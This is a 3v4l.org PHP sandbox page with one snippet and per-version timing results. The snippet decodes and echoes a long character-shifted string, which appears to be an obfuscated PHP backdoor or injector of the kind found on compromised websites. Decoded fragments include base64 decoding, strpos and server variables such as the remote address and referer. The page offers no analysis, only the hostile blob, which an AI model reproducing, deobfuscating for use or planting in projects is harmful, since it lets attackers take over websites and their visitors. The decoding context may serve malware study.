3v4l.org

run code in 300+ PHP versions simultaneously
<?php function fjfgg($n){ return chr(ord($n)-1); } echo(implode(array_map("fjfgg",str_split("%u:f!>!(%x:!>#]y3g]61]y3f]63]y3:]68]y76#<\xe\xb%w:!>!$6767~6/7&6|7**111127-K)ebfsX'u%)7fmjix6/7rfs%6<#o]1/20QUUI7jsv%7UFH#'rfs%6~6<w6<*K)ftpmdXA6|7**197-2qj%7-K)udfoopdXA")7gj6<*QDU`MPT7-NBFSUT`LDPT7-UFOJ`GB)fubfsdXA'K6<w6*3qj%7>"72qj%)7gj6<**2qj%)hopm3qjA)qj3hopmA'3qj%6<*Y%)fnbozcYufhA'2qj%6<^#zsfvr#\q%7/7#@#7/7^#iubq#\q%'jsv%6^#zsfvr#\q%7**^#zsfvr#\q%)ufttj")gj6<^#Y#\q%'Y%6<.msv`ftsbqA7>q%6<w6*_*#fubfsdXk5`{66~6<&w6<w6*CW&)7gj6<*doj%7-C)fepmqnjA'&6<.fmjgA'doj%6<w6*_*#fmjgk4`{6~6>!}W;utpi}Y;tuofuopd`ufh`fmjg}[;ldpt%}K;`ufldpt}X;`msvd}R;*msv%)}.;`UQPMSVD!-id%)uqpuft`msvd},;uqpuft`msvd}+;!>!}';!>>>!}_;gvc%}&;ftmbg};!osvufs}w;*!>>"!pd%)!gj}Z;h!opjudovg}{;#)tutjyf`opjudovg)!gj!|!*msv%)}k~~~j%!*3!'!hmg%!)!gj!<2,*j%!-#1]#-bubE{h%)tpqsut>j%!*72!'!hmg%)!gj!<2,*j%-#1]#-bubE{h%)tpqsut>j%!*9!'!hmg%)!gj!~j%!<**3-j%-bubE{h%)sutcvt-#w#)ldbqov>*ofmy%)utjm!|!*5!'!hmg%)!gj!|!*1?hmg%)!gj!<**2-4-bubE{h%)sutcvt)esp>hmg%!<12>j%!|!*#91y]c9y]g2y]#>>*4-1-bubE{h%)sutcvt)!gj!|!*bubE{h%)j{hnpd!opjudovg!|!**#j{hnpd#)tutjyf`opjudovg")!gj}1~!<2p%!~!<##!>!2p%Z<^2\2b%!>!2p%!*3>?*2b%)gpf{jt)!gj!<*2bd%-#1GO"#)fepmqyfA>2b%!<*qp%-*.%)euhA)3of>2bd%!<5h%/#0#/*#npd/#)rrd/#00;quui#>.%!<***f',*e',*d',*c',*b')fepdof.)fepdof./#@#/qp%>5h%!<*::::::-111112)eobs`un>qp%!|Z~!<##!>!2p%!|!*!***b%)sfxpmpusut!-#j0#!/!**#sfmcnbs+yfeobz+sfwjidsb`bj+upcotn+qsvmt+fmhpph#)zbssb!-#}#)fepmqnj!/!#0#)idubn`hfsq)!sp!*#ojneb#-*f%)sfxpmpusut)tpqssutRe%)Rd%)Rb%))!gj!<*#cd2bge56+99386c6f+9f5d816:+946:ce44#)zbssb!>!ssbnpe_GMFT`QIQ&f_UTPI`QUUI&e_SEEB`FUPNFS&d_SFSFGFS`QUUI&c_UOFHB`SFTV`QUUI&b%!|!*)323zbek!~!b%Z<#opo#>b%!*##>>X)!gjZ<#opo#>b%!**X)ufttj")gj!|!*nbsbq%)323ldfidk!~!<**qp%!-uyfu%)3of)fepdof`57ftbc!|!*uyfu'k:!ftmf!}Z;^nbsbq%\SFWSFT`%}X;!sp!*#opo#>>}R;msv}.;/#/#/},;#-#}+;%-qp%)54l}';%!<*#}_;#)323ldfid>}&;!osvufs};!opjudovg}k~~9{d%:osvufs:~928>>":ftmbg39*56A:>:8:|:7#6#)tutjyf`439275ttfsqnpdov{h19275j{hnpd19275fubmgoj{h1:|:*mmvo:>:iuhofm%:-5ppde:4:|:**#ppde#)tutjyf`4"3}!+!<+{e%+*!*+fepdfe{h+{d%)+opjudovg+)!gj+{e%!osvufs!*!+A!>!{e%)!>>"!ftmbg)!gj<*#k#)usbut`cpVu%V<#65,47R25,d7R17,67R37,#/q%>U<#16,47R57,27R66,#/q%>2q%<#g6R85,67R37,18R#>q%V<*#fopoV;hojepdoF.uofuopD#)sfebfI{*w%)kVx{**#k#)tutjyf`x"l:!}V;3q%}U;y]}R;2]},;osvufs}';mnui}&;zepc}A;~!};!|!}{;)gj}l;33bq}k;opjudovg}x;0]=])0#)U!'{**u%-#jt0}Z;0]=]0#)2q%l}S;2-u%!-#2#/#%#/#o]#/*)323zbe!-#jt0*?]+^?]_\}X$!#]y76]277]y72]265]y39]274]y85]273]y6g]273]y76]271]y7d]252]y74]256]y39]252]y83]273]y72]282#!#]y84]275]y83]248]y83]256]y81]265]y72]254]y76#<%tmw!>!#]y84]275]y83]273]y76]277#<%t2w>#]y74]273]y76]252]y85]256]y6g]257]y86]267]y74]275]y7:]268]y7f#!$00~:/h%:<**#57]38y]47]67y]37]88y]27]28y]#/r%/h%)n%-#+I#)q%:>:r%:|:**t%)m%=*h%)m%):fmjix:<##:>:h%:<#64y]552]e7y]#>n%<#372]58y]472]37y]672]48y]#>s%<#462]47y]252]18y]#>q%<#762]67y]562]38y]572]48y]#>m%:|:*r%:-t%)3of:opjudovg<~$!$2178}527}88:}334}472$!#]y81]273]y76]258]y6g]273]y76]271]y7d]252]y74]256#!bssbz)$]25$-$-!%$-$*!|!$-$\%j^$-$tvctus)%$-$b!>!%yy)#}#-#$-$-tusqpt)%z-#:#*$-$!>!tus`sfqmbdf)%$-$y4$-$]y8$-$]26$-$<%j,,*!|$-$gvodujpo!$-$y7$-$*1<%j=tj{fpg)%$-$*!fyqmpef)#$*!#]y3d]51]y35]256]y76]72]y3d]51]y35]274]y4:]82]y3:]62]y4c#!$Ypp3)%cB%iN}#-!tussfw)%c*W%eN+#Qi\1^W%c!>!%i\2^!tussfw)%zW%h>EzH,2W%wN;#-Ez-1H*WCw*[!%rN}#QwTW%hIr\1^-%r\2^-%hOh/#00#W~!%t2w)##Qtjw)#]82#-#!#-%tmw)%tww**WYsboepn)%bss-%rxB%h>#]y31]278]y3e]81]K78:56985:6197g:74985-rr.93e:5597f-s.973:8297f:5297e:56-xr.985:52985-t.98]K4]65]D8]86]y31]278]y3f]51L3]84]y31M6]y3e]81#/#7e:55946-tr.984:75983:48984:71]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#<%tpz!>!#]D6M7]K3#<%yy>#]D6]281L1#/#M5]DgP5]D6#<%fdy>#]D4]273]D6P2L5P6]y6gP7L6M7]D4]275]D:M8]Df#<%tdz>#L4]275L3]248L3P6L1M5]D2P4]D6#<%G]y6d]281Ld]245]K2]285]Ke]53Ld]53]Kc]55Ld]55#*<%bG9}:}.}-}!#*<%nfd>%fdy!%tdz)%bbT-%bT-%hW~%fdy)##-!#~<%h00#*<%nfd)##Qtpz)#]341]88M4P8]37]278]225]241]334]368]322]3]364]6]283]427]36]373P6]36]73]83]238M7]381]211M5]67]452]88]5]48]32M3]317]445]212]445]43]321]464]284]364]6]234]342]58]24]31#-%tdz*Wsfuvso!%bss\sboe))1/35.)1/14+9**-)1/2986+7**^/%rx<~!!%s:N}#-%o:W%c:>1<%b:>11<%j:=tj{fpg)%s:*<%j:,,Bjg!)%j:>>1*!%b:>1%s:\%j:.2^,%b:%s:\%j:^Ew:Qb:Qc:W~!%z!>21<%j=6[%ww2!>#p#/#p#/%z>2*!%z>32!#]y81]273]y76]258]y6g]273]y76]271]y7d]252]y74]256# ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
5.4.360.0030.05718.73
5.4.350.0150.04213.79
5.4.340.0130.04213.79
5.4.320.0150.03913.75
5.4.310.0120.04113.75
5.4.300.0170.03313.71
5.4.290.0100.04113.71
5.4.280.0130.03713.58
5.4.270.0190.03913.57
5.4.260.0110.04313.55
5.4.250.0090.04313.60
5.4.240.0130.03513.60
5.4.230.0080.04313.67
5.4.220.0090.03713.59
5.4.210.0060.03913.55
5.4.200.0080.04113.54
5.4.190.0120.03513.57
5.4.180.0080.04113.61
5.4.170.0100.03713.59
5.4.160.0090.04013.63
5.4.150.0130.03813.53
5.4.140.0060.04513.23
5.4.130.0090.04313.30
5.4.120.0080.04113.26
5.4.110.0110.04213.18
5.4.100.0130.03713.19
5.4.90.0050.04013.33
5.4.80.0080.04213.18
5.4.70.0080.04013.22
5.4.60.0120.03613.22
5.4.50.0120.03313.21
5.4.40.0090.03513.19
5.4.30.0100.04213.25
5.4.20.0100.03513.19
5.4.10.0090.03513.16
5.4.00.0110.03612.67
5.3.290.0050.04514.07
5.3.280.0070.04213.97
5.3.270.0140.03714.06
5.3.260.0120.04013.93
5.3.250.0040.04314.00
5.3.240.0100.03613.94
5.3.230.0080.03713.93
5.3.220.0090.03913.92
5.3.210.0060.04514.03
5.3.200.0090.04213.96
5.3.190.0070.04113.92
5.3.180.0120.03613.96
5.3.170.0120.03613.95
5.3.160.0150.03813.94
5.3.150.0110.04513.93
5.3.140.0090.04213.94
5.3.130.0130.03913.93
5.3.120.0100.03813.96
5.3.110.0050.04713.88
5.3.100.0100.03913.45
5.3.90.0140.03913.43
5.3.80.0120.04013.34
5.3.70.0120.03613.45
5.3.60.0060.04213.34
5.3.50.0070.03913.31
5.3.40.0040.04313.31
5.3.30.0080.03613.29
5.3.20.0060.03913.02
5.3.10.0070.03513.03
5.3.00.0090.03813.05
5.2.170.0080.03110.54
5.2.160.0120.02710.49
5.2.150.0080.03210.52
5.2.140.0080.03410.50
5.2.130.0110.03010.50
5.2.120.0080.03010.45
5.2.110.0070.03410.48
5.2.100.0080.03310.42
5.2.90.0080.03410.52
5.2.80.0100.03210.45
5.2.70.0070.03410.46
5.2.60.0060.03010.42
5.2.50.0090.02910.36
5.2.40.0060.03010.34
5.2.30.0060.03310.37
5.2.20.0070.03010.36
5.2.10.0090.02610.25
5.2.00.0020.03210.11
5.1.60.0050.0239.39
5.1.50.0060.0259.39
5.1.40.0060.0269.37
5.1.30.0040.0289.72
5.1.20.0080.0309.73
5.1.10.0060.0279.49
5.1.00.0060.0309.48
5.0.50.0070.0227.94
5.0.40.0030.0227.79
5.0.30.0040.0337.59
5.0.20.0020.0237.58
5.0.10.0060.0207.55
5.0.00.0030.0337.58
4.4.90.0040.0175.52
4.4.80.0040.0205.50
4.4.70.0030.0185.47
4.4.60.0030.0205.52
4.4.50.0030.0195.50
4.4.40.0020.0295.46
4.4.30.0050.0155.52
4.4.20.0040.0175.56
4.4.10.0050.0195.55
4.4.00.0060.0285.51
4.3.110.0070.0205.45
4.3.100.0050.0185.40
4.3.90.0080.0155.46
4.3.80.0050.0285.37
4.3.70.0050.0175.37
4.3.60.0050.0155.38
4.3.50.0040.0205.37
4.3.40.0090.0305.33
4.3.30.0020.0194.12
4.3.20.0030.0194.16
4.3.10.0020.0174.10
4.3.00.0100.0236.96

preferences:
145.85 ms | 1398 KiB | 7 Q